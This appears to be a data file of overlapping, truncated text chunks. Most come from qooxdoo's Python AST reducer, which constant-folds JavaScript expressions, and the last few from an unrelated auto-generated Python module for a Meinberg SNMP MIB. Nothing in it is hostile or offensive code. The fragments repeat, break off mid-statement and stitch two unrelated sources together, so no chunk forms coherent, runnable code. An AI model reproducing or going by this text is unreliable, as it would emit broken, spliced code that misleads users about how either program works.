"self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated =",
"# # http://qooxdoo.org # # Copyright: # 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de",
"treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner from misc import util",
"# def escape_quotes(s): quotes = 'singlequotes' # aribtrary choice result = s #",
"def opr(operation, op1, op2): if all([isinstance(x, types_Number) for x in (op1, op2)]): return",
"types_Number) for x in (op1, op2)]): return operation(op1, op2) else: return () operations['MUL']",
"func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2): op1 = (op1 &",
"= self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated')",
"prefix +/- if op2==(): if operation=='+': result = operator.pos(op1) elif operation=='-': result =",
"= treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## # (group) def visit_group(self, node): nnode",
"= self.visit(child) nchilds.append(nchild) nnode = node nnode.children = [] for cld in nchilds:",
"the Python value for a tree/contant # node, for easier operations, checking for",
"if operation=='+': result = operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) # string '+'",
"operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result =",
"operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2) elif operation=='-': result =",
"= operator.xor operations['BITNOT'] = operator.inv # second shift operand must be in 0..31",
"return node def visit_operation(self, node): operator = node.get(\"operator\") arity = len(node.children) if arity",
"project's top-level directory for details. # # Authors: # * <NAME> (thron7) #",
"return result operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only",
"operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv # second shift",
"return nnode ## # (group) def visit_group(self, node): nnode = node # can",
"all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result = operator.add(op1,op2) return result operations['ADD'] = func.partial(opr,",
"\"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node = node.children[0] if expr_node.type == 'constant':",
"((op1 & 0xffffffff) >> op2) | fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] =",
"nnode def _visit_monadic(self, node, operator): op1 = node.children[0] nnode = node if hasattr(op1,",
"to be used on that string in code ('singlequotes', # 'doublequotes'), and escape",
"to 32-bit int return operator.rshift(op1, op2) # Python .rshift does 0 fill operations['URSH']",
"escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this has",
"fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2): op1",
"\"(3)\" or \"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node = node.children[0] if expr_node.type",
"= node.children[1] op3 = node.children[2] nnode = node if operator in self.operations: #",
"#!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################################ # # qooxdoo - the",
"node if operator in self.operations: # to evaluate HOOK, it is enough to",
"= node.get(\"value\") consttype = node.get(\"constantType\") value = () # the empty tuple indicates",
"operator.sub(op1,op2) # string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result",
"func.partial(opr, ursh) # ?: def opr(op1, op2, op3): return op2 if bool(op1) else",
"# http://qooxdoo.org # # Copyright: # 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de #",
"= operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda x,y: x and y operations['OR']",
"- 1) << (32 - op2) # else: # fills = 0 #",
"x and y operations['OR'] = lambda x,y: x or y # bit operations",
"checking for hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer,",
"0x1f) # coerce to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1,",
"vars! #operations['DEC'] -- only on vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE']",
"nnode = node if operator in self.operations: # to evaluate HOOK, it is",
"# end:_init_operations def visit(self, node): # pre-order reduce children, to have their values",
"# # Copyright: # 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de # # License:",
"= node.children[0] nnode = node if hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated",
"operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] --",
"def opr(operation, op1, op2): op2 = (op2 & 0x1f) # coerce to 0..31",
"if operation=='+': result = operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number):",
"'+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result = operator.add(op1,op2) return",
"# # qooxdoo - the new era of web development # # http://qooxdoo.org",
"to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node =",
"self.root_node = root_node self.operations = self._init_operations() def _init_operations(self): operations = {} types_Number =",
"JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv",
"self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated)",
"short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated else op2",
"op2) # Python .rshift does 0 fill operations['URSH'] = func.partial(opr, ursh) # ?:",
"a post-order recursion (children first). # Carries .evaluated with nodes, to keep the",
"operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated,",
"# MIT: https://opensource.org/licenses/MIT # See the LICENSE file in the project's top-level directory",
"a tree/contant # node, for easier operations, checking for hasattr() to determine #",
"arity == 2: nnode = self._visit_dyadic(node, operator) elif arity == 3: nnode =",
"and escape pot. embedded quotes correspondingly. # (The string might result from a",
"# (The string might result from a concat operation that combined differently #",
"y # bit operations only operate on 32-bit integers in JS operations['BITAND'] =",
"_visit_dyadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] nnode = node if",
"import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner from misc",
"if consttype == \"number\": constdetail = node.get(\"detail\") if constdetail == \"int\": value =",
"operator) elif arity == 2: nnode = self._visit_dyadic(node, operator) elif arity == 3:",
"elif isinstance(value, types.BooleanType): # this has to come early, as isinstance(True, types.IntType) is",
"general AST reducer # # Computes new, pot. reduced tree. Does a post-order",
"def visit_group(self, node): nnode = node # can only reduce \"(3)\" or \"('foo')\"",
"operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\"))",
"# 'doublequotes'), and escape pot. embedded quotes correspondingly. # (The string might result",
"types.FloatType, types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x, types_Number) for x in (op1,",
"valueNode ## # Determine the quoting to be used on that string in",
"self.operations[operator](op1.evaluated, op2, op3) return nnode ## # Take a Python value and init",
"to pre-order recursion, type-specific methods don't need to recurse # anymore! def visit_constant(self,",
"in JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] =",
"# -*- coding: utf-8 -*- ################################################################################ # # qooxdoo - the new era",
"# node nchilds = [] for child in node.children: nchild = self.visit(child) nchilds.append(nchild)",
"keep the Python value for a tree/contant # node, for easier operations, checking",
"func.partial(opr, '-') #operations['INC'] -- only on vars! #operations['DEC'] -- only on vars! operations['EQ']",
"return a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode",
"evaluated) nnode.evaluated = evaluated return nnode ## # HOOK def _visit_triadic(self, node, operator):",
"() if isinstance(op1, types_Number): # prefix +/- if op2==(): if operation=='+': result =",
"operator.mod) # Have to distinguish between prefix and infix +/- def opr(operation, op1,",
"only reduce \"(3)\" or \"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node = node.children[0]",
"true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value))",
"for hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__()",
"has to come early, as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower())",
"# the empty tuple indicates unevaluated if consttype == \"number\": constdetail = node.get(\"detail\")",
"node): operator = node.get(\"operator\") arity = len(node.children) if arity == 1: nnode =",
"newer approach: A general AST reducer # # Computes new, pot. reduced tree.",
"only on vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE']",
"= func.partial(opr, operator.mod) # Have to distinguish between prefix and infix +/- def",
"= self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated =",
"nnode = node if hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated = self.operations[operator](op1.evaluated)",
"self.operations: # to evaluate HOOK, it is enough to evaluate the condition if",
"Does a post-order recursion (children first). # Carries .evaluated with nodes, to keep",
"= operator.not_ operations['AND'] = lambda x,y: x and y operations['OR'] = lambda x,y:",
"op1, op2): if all([isinstance(x, types_Number) for x in (op1, op2)]): return operation(op1, op2)",
"operations['URSH'] = func.partial(opr, ursh) # ?: def opr(op1, op2, op3): return op2 if",
"node.get(\"detail\") if constdetail == \"int\": value = util.parseInt(constvalue) elif constdetail == \"float\": value",
"((sign << op2) - 1) << (32 - op2) # else: # fills",
"node.children: nchild = self.visit(child) nchilds.append(nchild) nnode = node nnode.children = [] for cld",
"# IF def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode = node if loop_type",
"in (op1, op2)]): return operation(op1, op2) else: return () operations['MUL'] = func.partial(opr, operator.mul)",
"return operations # end:_init_operations def visit(self, node): # pre-order reduce children, to have",
"operations # end:_init_operations def visit(self, node): # pre-order reduce children, to have their",
"isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\")",
"current # node nchilds = [] for child in node.children: nchild = self.visit(child)",
"chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result)",
"+/- def opr(operation, op1, op2=()): result = () if isinstance(op1, types_Number): # prefix",
"x,y: x and y operations['OR'] = lambda x,y: x or y # bit",
"value, inPlace=False) return nnode ## # (group) def visit_group(self, node): nnode = node",
"op3 = node.children[2] nnode = node if operator in self.operations: # to evaluate",
"str(value)) return valueNode ## # Determine the quoting to be used on that",
"if value!=(): node.evaluated = value return node def visit_operation(self, node): operator = node.get(\"operator\")",
"if hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode",
"constant: %s\" % str(value)) return valueNode ## # Determine the quoting to be",
"\"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value,",
"to keep the Python value for a tree/contant # node, for easier operations,",
"of web development # # http://qooxdoo.org # # Copyright: # 2006-2013 1&1 Internet",
"come early, as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value,",
"= float(constvalue) elif consttype == \"string\": value = constvalue elif consttype == \"boolean\":",
"nnode.addChild(cld) # try reducing current node, might return a fresh symbol() if hasattr(self,",
"operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda x,y:",
"reducing current node, might return a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode =",
"32-bit int return operator.rshift(op1, op2) # Python .rshift does 0 fill operations['URSH'] =",
"operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT']",
"types.BooleanType): # this has to come early, as isinstance(True, types.IntType) is also true!",
"symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode def _visit_dyadic(self, node,",
"# fills = 0 # return ((op1 & 0xffffffff) >> op2) | fills",
"operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) # string '+' elif operation=='+' and all([isinstance(x,types.StringTypes)",
"= node.children[2] nnode = node if operator in self.operations: # to evaluate HOOK,",
"return nnode ## # HOOK def _visit_triadic(self, node, operator): op1 = node.children[0] op2",
"# quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes'",
"sign = (op1 >> 31) & 1 # if sign: # fills =",
"pre-order recursion, type-specific methods don't need to recurse # anymore! def visit_constant(self, node):",
"node nnode.children = [] for cld in nchilds: nnode.addChild(cld) # try reducing current",
"== 'constant': # must have been evaluated by pre-order nnode = expr_node return",
"node.children[2] nnode = node if operator in self.operations: # to evaluate HOOK, it",
"import util ## # ASTReducer - newer approach: A general AST reducer #",
"return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq # sign",
"HOOK, it is enough to evaluate the condition if operator == \"HOOK\" and",
"operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq # sign = (op1",
"= operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT'] =",
"value = {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value = None if value!=():",
"\"null\") else: raise ValueError(\"Illegal value for JS constant: %s\" % str(value)) return valueNode",
"node nchilds = [] for child in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode",
"if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes,",
"== \"float\": value = float(constvalue) elif consttype == \"string\": value = constvalue elif",
"operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_",
"constant node with it, setting the node's \"constantType\" # def set_node_type_from_value(valueNode, value): if",
"Computes new, pot. reduced tree. Does a post-order recursion (children first). # Carries",
"& 0xffffffff) >> op2) | fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr,",
"Scanner from misc import util ## # ASTReducer - newer approach: A general",
"x in (op1,op2)]): result = operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+') operations['SUB']",
"etc. if len(node.children)==1: expr_node = node.children[0] if expr_node.type == 'constant': # must have",
"def visit(self, node): # pre-order reduce children, to have their values when reducing",
"a Python value and init a constant node with it, setting the node's",
"tree. Does a post-order recursion (children first). # Carries .evaluated with nodes, to",
"(types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x, types_Number) for x",
"= constvalue elif consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype ==",
"operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv # second shift operand must be in",
"return quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer = ASTReducer(node) new_node =",
"if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due to",
"operator in self.operations: # to evaluate HOOK, it is enough to evaluate the",
"0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq #",
"\"float\": value = float(constvalue) elif consttype == \"string\": value = constvalue elif consttype",
"op3 operations['HOOK'] = opr return operations # end:_init_operations def visit(self, node): # pre-order",
"value = float(constvalue) elif consttype == \"string\": value = constvalue elif consttype ==",
"= None if value!=(): node.evaluated = value return node def visit_operation(self, node): operator",
"operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have to distinguish",
"development # # http://qooxdoo.org # # Copyright: # 2006-2013 1&1 Internet AG, Germany,",
"in ['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2)",
"operator in self.operations: if operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit",
"= u''.join(result) return quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer = ASTReducer(node)",
"valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value))",
"# Carries .evaluated with nodes, to keep the Python value for a tree/contant",
"def ursh(op1, op2): op1 = (op1 & 0xffffffff) # coerce to 32-bit int",
"quotes = 'singlequotes' # aribtrary choice result = s # only if we",
"elif arity == 2: nnode = self._visit_dyadic(node, operator) elif arity == 3: nnode",
"top-level directory for details. # # Authors: # * <NAME> (thron7) # ################################################################################",
"node.children[0] nnode = node if hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated =",
"for child in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode = node nnode.children =",
"# Reduce the value of a syntax tree (expression). ## import os, sys,",
"= operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC']",
"need to recurse # anymore! def visit_constant(self, node): constvalue = node.get(\"value\") consttype =",
"operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE']",
"= len(node.children) if arity == 1: nnode = self._visit_monadic(node, operator) elif arity ==",
"\"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes' # aribtrary choice result = s",
"reduce children, to have their values when reducing current # node nchilds =",
"return nnode ## # IF def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode =",
"setting the node's \"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes,",
"symbol from ecmascript.frontend import Scanner from misc import util ## # ASTReducer -",
"operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq # sign =",
"func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only on vars! #operations['DEC'] --",
"= (op1 & 0xffffffff) # coerce to 32-bit int return operator.rshift(op1, op2) #",
"tree/contant # node, for easier operations, checking for hasattr() to determine # evaluated-ness.",
"ursh) # ?: def opr(op1, op2, op3): return op2 if bool(op1) else op3",
"# to evaluate HOOK, it is enough to evaluate the condition if operator",
"escaped_value) elif isinstance(value, types.BooleanType): # this has to come early, as isinstance(True, types.IntType)",
"# Take a Python value and init a constant node with it, setting",
"- the new era of web development # # http://qooxdoo.org # # Copyright:",
"nnode ## # Take a Python value and init a constant node with",
"if \"'\" in s: result = [] chunks = s.split(\"'\") for chunk in",
"node): # pre-order reduce children, to have their values when reducing current #",
"# short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated else",
"AG, Germany, http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT # See the LICENSE",
"if operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return",
"types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\",",
"# evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations",
"= node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value,",
"result from a concat operation that combined differently # quoted strings, like 'fo\"o\"bar'",
"operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT']",
"op1 = node.children[0] op2 = node.children[1] nnode = node if operator in self.operations:",
"<NAME> (thron7) # ################################################################################ ## # Reduce the value of a syntax tree",
"hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node",
"= operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) # string '+' elif operation=='+' and",
"expr_node = node.children[0] if expr_node.type == 'constant': # must have been evaluated by",
"Python value and init a constant node with it, setting the node's \"constantType\"",
"(expression). ## import os, sys, re, types, operator, functools as func from ecmascript.frontend",
"nchild = self.visit(child) nchilds.append(nchild) nnode = node nnode.children = [] for cld in",
"# must have been evaluated by pre-order nnode = expr_node return nnode def",
"the empty tuple indicates unevaluated if consttype == \"number\": constdetail = node.get(\"detail\") if",
"valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value,",
"for easier operations, checking for hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def",
"visit_loop(self, node): loop_type = node.get(\"loopType\") nnode = node if loop_type == \"IF\": cond_node",
"if operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"),",
"nnode = op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for x in",
"else op2 elif all([hasattr(x, 'evaluated') for x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated,",
"fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode # -",
"escape pot. embedded quotes correspondingly. # (The string might result from a concat",
"def visit_operation(self, node): operator = node.get(\"operator\") arity = len(node.children) if arity == 1:",
"chunks = s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"):",
"node.evaluated = value return node def visit_operation(self, node): operator = node.get(\"operator\") arity =",
"= value return node def visit_operation(self, node): operator = node.get(\"operator\") arity = len(node.children)",
"op3) return nnode ## # Take a Python value and init a constant",
"arity == 3: nnode = self._visit_triadic(node, operator) return nnode ## # IF def",
"<< op2) - 1) << (32 - op2) # else: # fills =",
"'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode =",
"result = operator.sub(op1,op2) # string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x in",
"# string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result =",
"def opr(op1, op2, op3): return op2 if bool(op1) else op3 operations['HOOK'] = opr",
"root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations = self._init_operations() def _init_operations(self): operations =",
"op1 = node.children[0] nnode = node if hasattr(op1, \"evaluated\"): if operator in self.operations:",
"Python .rshift does 0 fill operations['URSH'] = func.partial(opr, ursh) # ?: def opr(op1,",
"combined differently # quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes",
"op2): op1 = (op1 & 0xffffffff) # coerce to 32-bit int return operator.rshift(op1,",
"lambda x,y: x and y operations['OR'] = lambda x,y: x or y #",
"node.children[0] op2 = node.children[1] nnode = node if operator in self.operations: if operator",
"to come early, as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif",
"len(node.children)==1: expr_node = node.children[0] if expr_node.type == 'constant': # must have been evaluated",
"def escape_quotes(s): quotes = 'singlequotes' # aribtrary choice result = s # only",
"child in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode = node nnode.children = []",
"types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x, types_Number) for x in (op1, op2)]):",
"choice result = s # only if we have embedded quotes we have",
"string might result from a concat operation that combined differently # quoted strings,",
"== \"int\": value = util.parseInt(constvalue) elif constdetail == \"float\": value = float(constvalue) elif",
"for cld in nchilds: nnode.addChild(cld) # try reducing current node, might return a",
"operator): op1 = node.children[0] op2 = node.children[1] nnode = node if operator in",
"types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\",",
"'constant': # must have been evaluated by pre-order nnode = expr_node return nnode",
"web development # # http://qooxdoo.org # # Copyright: # 2006-2013 1&1 Internet AG,",
"# ASTReducer - newer approach: A general AST reducer # # Computes new,",
"[] for child in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode = node nnode.children",
"== \"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty"
] |
[
"# # PySNMP MIB module MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced",
"ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance,",
"\"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString",
"enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn,",
"1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts:",
"IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32,",
"2020, 01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, =",
"22:39:55 2020 # On host grumpy platform Linux version 4.15.0-88-generic by user bjk49",
"(default, Apr 18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\",",
"mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status =",
"host grumpy platform Linux version 4.15.0-88-generic by user bjk49 # Using Python version",
"\"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\",",
"\"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32,",
"class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues",
"<reponame>simonsobs/socs<filename>agents/meinberg_m1000/mibs/MBG-SNMP-ROOT-MIB.py<gh_stars>1-10 # # PySNMP MIB module MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib #",
"07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH &",
"& Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec +",
"= ModuleIdentity((1, 3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if",
"4.15.0-88-generic by user bjk49 # Using Python version 3.6.9 (default, Apr 18 2020,",
"06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG')",
"mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current'",
"\"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\",",
"GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec",
